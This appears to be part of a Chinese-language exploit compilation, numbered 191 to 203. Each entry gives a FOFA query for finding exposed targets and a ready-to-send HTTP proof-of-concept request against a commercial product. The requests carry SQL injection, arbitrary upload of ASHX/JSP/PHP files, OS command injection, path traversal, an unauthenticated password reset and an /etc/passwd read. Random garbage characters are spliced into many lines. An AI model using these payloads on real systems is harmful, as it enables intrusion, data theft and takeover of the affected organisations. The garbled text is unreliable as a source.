; G6 {8 m$ ]) Y7 f* {8 E7 [* X
poi=file:///etc/passwd
5 G. R" x. [5 c7 q$ r

. {5 w9 [# }. {7 |6 l! N5 g191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
: i- f0 G& x$ Z* ^& fFOFA：body="/CDGServer3/index.jsp"
! ]+ `- D& e! P5 {. dPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
# ^% p( K" @1 L! a5 }4 ?5 [Host: your-ip
3 d5 Y. B- K( i  {/ G) B( ~4 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
8 a8 m7 l: `3 H) a1 u: b
4 m1 x6 ^+ W; T. ]$ V
; Y6 g+ _% s' ^5 w4 I192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
7 [1 }) u# w6 ^, f2 ]FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
# |/ @  x$ E  e; V- E; FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
using System;
9 i8 h/ Y8 P$ nusing System.Web;
, u& R7 F8 f/ z* E5 x8 ?# Qpublic class AverageHandler : IHttpHandler
! i; p& ^# M! ^{
8 e+ z9 Q) [: ~! L2 |7 I1 F, ^. \public bool IsReusable
( ]5 e! c1 R/ ]. ^, ^{ get { return true; } }
( ^& Q4 R! c( V$ vpublic void ProcessRequest(HttpContext ctx)
6 a7 k- y1 D9 A' D$ L- o! r{
6 ^( s" _7 R* n  v) l) kctx.Response.Write("test");
}
}
. ~& C% d7 a4 H& z7 R) M( E

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
1 i% z2 K/ Y% }GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
6 V8 k1 j8 q" S# SCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

% }$ k1 a) ]+ w9 d* x2 }
9 m; P8 f( {0 {* ~( Q0 _$ I( Z; o% DPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
" S4 H6 P) x& qHost:
$ Z0 ~. s$ e- W4 TUser-Agent: Mozilla/5.0
5 y2 D" _% h5 C5 ]7 ZAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
' \$ g- Z$ Z1 E" X3 ~
  J: {5 w0 R( \7 j2 rparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
7 S. i7 ^7 B1 v
* U9 Z0 S- `1 t4 j) I" O
GET /master/img/config HTTP/1.1
Host:
- c! F4 n) P$ \* r0 x/ U. dUser-Agent: Mozilla/5.0
) c/ X& t" u7 ]& }3 {3 C' h

8 l- J3 ?- ]& Z& C9 P% C( `, \# M$ l194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
+ n$ k7 p4 `1 e1 D9 m9 n
POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) x; _$ R: j/ G$ B* HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# w( Y6 o; M$ g4 Q/ f8 u) a" @Connection: close
) R5 A! `6 P6 ?0 xContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

+ _' Q% _. S9 z. O) yContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
; X! T/ T  [1 U7 Z2 H1 S0 U. ?------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
# e# o: ~* q6 e {"iq":{"query":{"UpdateType":"mail"}}}
. }' x3 i4 o  J6 P% E- y# k------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


# {5 A; ?9 `, M4 I/ }+ x, F/ D195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
6 M' c9 G" P7 }$ K4 ZFOFA：title=="飞鱼星企业级智能上网行为管理系统
/ N( h& e; z# g) p% A$ g5 [POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
5 \1 a/ n  H0 x; t: [Pragma: no-cache
0 y8 Z8 }' f  W" p& W  b% s  CCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
, s8 ]/ y2 i- S
& l. g0 R* j& n+ w$ g' s1 T; Y
196. 河南省风速科技统一认证平台密码重置
3 Q3 N3 e7 @* F* SFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
* ^( j( d7 w# z/ ZPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
# h! |. J  x/ u) mContent-Type: application/json;charset=UTF-8
% h2 c% M* y) X, z& b& U( k" ]X-Requested-With: XMLHttpRequest
6 K: z9 d) l; NHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close

; }! c+ ]) i( q0 `4 O' a{"xgh":"test","newPass":"test666","email":""}



197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
/ n4 h8 {1 u* R: }7 VGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
- D) s/ k7 ?. C9 `9 sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
4 N& V6 u* r7 eAccept-Encoding: gzip, deflate
, J! O4 R0 H5 J( s! S4 Q1 C( D% AConnection: close
+ W. c  L$ I( T7 _- ?3 E; J
' v7 {' M$ F/ C

3 f& r! ^0 w! Z198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
) j. f( O5 d( H1 l6 r3 BGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
1 U: x8 K' D5 W/ g8 k% u" {$ `

199. cockpit系统assetsmanager_upload接口 文件上传
& Q8 o* G( {+ {9 Y" p) K9 R
( W  [1 s6 J1 I- C/ ^1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
9 l0 }8 ?3 }1 Z* s7 N, \
# |7 l0 U, C2 |4 T; D响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

' `) Y, v" G) {1 w, x% w- A2.使用刚才上一步获取到的jwt获取cookie：

6 A/ f( G# T% @5 n2 A, O" cPOST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
, R  O* H7 ]+ S7 D& i
; g# e9 T6 B( Y" o! W. O2 ]& p响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
( J' G6 {3 W0 D6 tPOST /assetsmanager/upload HTTP/1.1
! \( j3 w8 R9 k6 r4 JContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
3 Y. `6 M+ U* N1 w+ w8 K
; O) E% @& N1 ?' E% S0 v$ Z-----------------------------36D28FBc36bd6feE7Fb3
8 Y% M" s2 H  i2 J, P3 s+ V; [& T7 a5 KContent-Disposition: form-data; name="files[]"; filename="tttt.php"
4 Z+ @8 U# i/ X5 V. eContent-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
# j' U" {8 O9 ?% U. E  |-----------------------------36D28FBc36bd6feE7Fb3
0 u0 l2 p5 _( B" OContent-Disposition: form-data; name="folder"
1 ]' q- t) m2 o4 y, O
% {4 P6 E$ |- _' E2 ^-----------------------------36D28FBc36bd6feE7Fb3--
) ^( g. [1 B! t! T& R% o6 F

. l% t, T" p8 y% h1 {/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
% l" U$ n6 k$ G6 bFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
. e% ?! ~7 ~! @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
' l1 C/ A* e0 AAccept-Language: zh-CN,zh;q=0.9
( p! q# `1 f8 e2 h% E$ [
- z5 w1 |. ~# e# b6 _
/ C* q0 F( D& D8 j# k) |5 c201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
6 R, A2 a: F( s1 h3 \9 V5 l& p1 bPOST /newsedit/newsplan/task/binary.do HTTP/1.1
; x4 k0 x! M9 SContent-Type: application/x-www-form-urlencoded
& a, w! U# Z" j( u) |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- a& a5 D* k; |- E" U+ |5 a) K- QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 b$ n0 `( A) hConnection: close
0 W+ S) u& C7 c
! x! N- z. k6 PTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
9 X# P! I, ]) v& dGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
" E# @, e; O& P; I. Y7 |8 S
4 ~/ P( t4 s( x/ s" J- x
, u. N( d3 z& U- G# G& Q7 d替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
8 g% x9 H; Q4 {7 D' n$ {# I1 {9 rContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

9 s5 A  |/ E, u! b, i/ j-----------------------------786435874t38587593865736587346567358735687
( Y9 `  k  a3 w' S/ g# x/ _Content-Disposition: form-data; name="__VIEWSTATE"
$ E( }- o/ N5 d6 b, t
: g; n3 I9 U/ g1 S* h1 T/ |__VIEWSTATE
8 p/ r6 z$ U& b/ L-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
: `" k: q/ U7 X3 X% C8 g( L: {
__EVENTVALIDATION
- a- Z* M4 j( ?! b-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
0 h  x: s$ A; p5 A, J: kContent-Type: text/plain
. X0 C% m8 y) \  E
. A/ \; L  F! z$ x$ qHello World!
6 V$ E* R7 \* o, {+ m# n- t-----------------------------786435874t38587593865736587346567358735687
1 h1 X8 t/ l' s; N6 e5 MContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
3 S* A5 Y% G( {9 C) T
上传图片
# L0 Z, ~: j; s% ~& ~% |4 P: e: v-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


$ b7 {) L8 b, ^& U' L0 ?$ P-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
7 q; V1 L) A" a. F' {2 Z

4 @- O( m" Z* |# I3 T( X, S3 q$ h-----------------------------786435874t38587593865736587346567358735687--

* M9 w0 y: d1 A- \, d) P3 u
3 C% S7 E' L7 w& |8 z; H0 \# M/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
- I) l- e4 x6 Y0 ^FOFA：body="RedseaPlatform"
, j& i: p, [8 W7 b5 X* {8 W7 \2 v6 aPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
1 I' F* \$ f5 H5 J2 IContent-Length: 210

  J8 ?4 v( U  N/ t; K/ [------WebKitFormBoundaryt7WbDl1tXogoZys4
" }2 M. @. M9 sContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
) p4 Q: R8 U0 b! o+ yContent-Type:image/jpeg

<% out.print("hello,eHR");%>
$ B2 n, O" L! T2 o/ p  R0 n------WebKitFormBoundaryt7WbDl1tXogoZys4--
( s* b. A7 E6 r


/ n6 Y! y1 I: I# t9 V% K- |


. n6 p* m" u. W; d1 m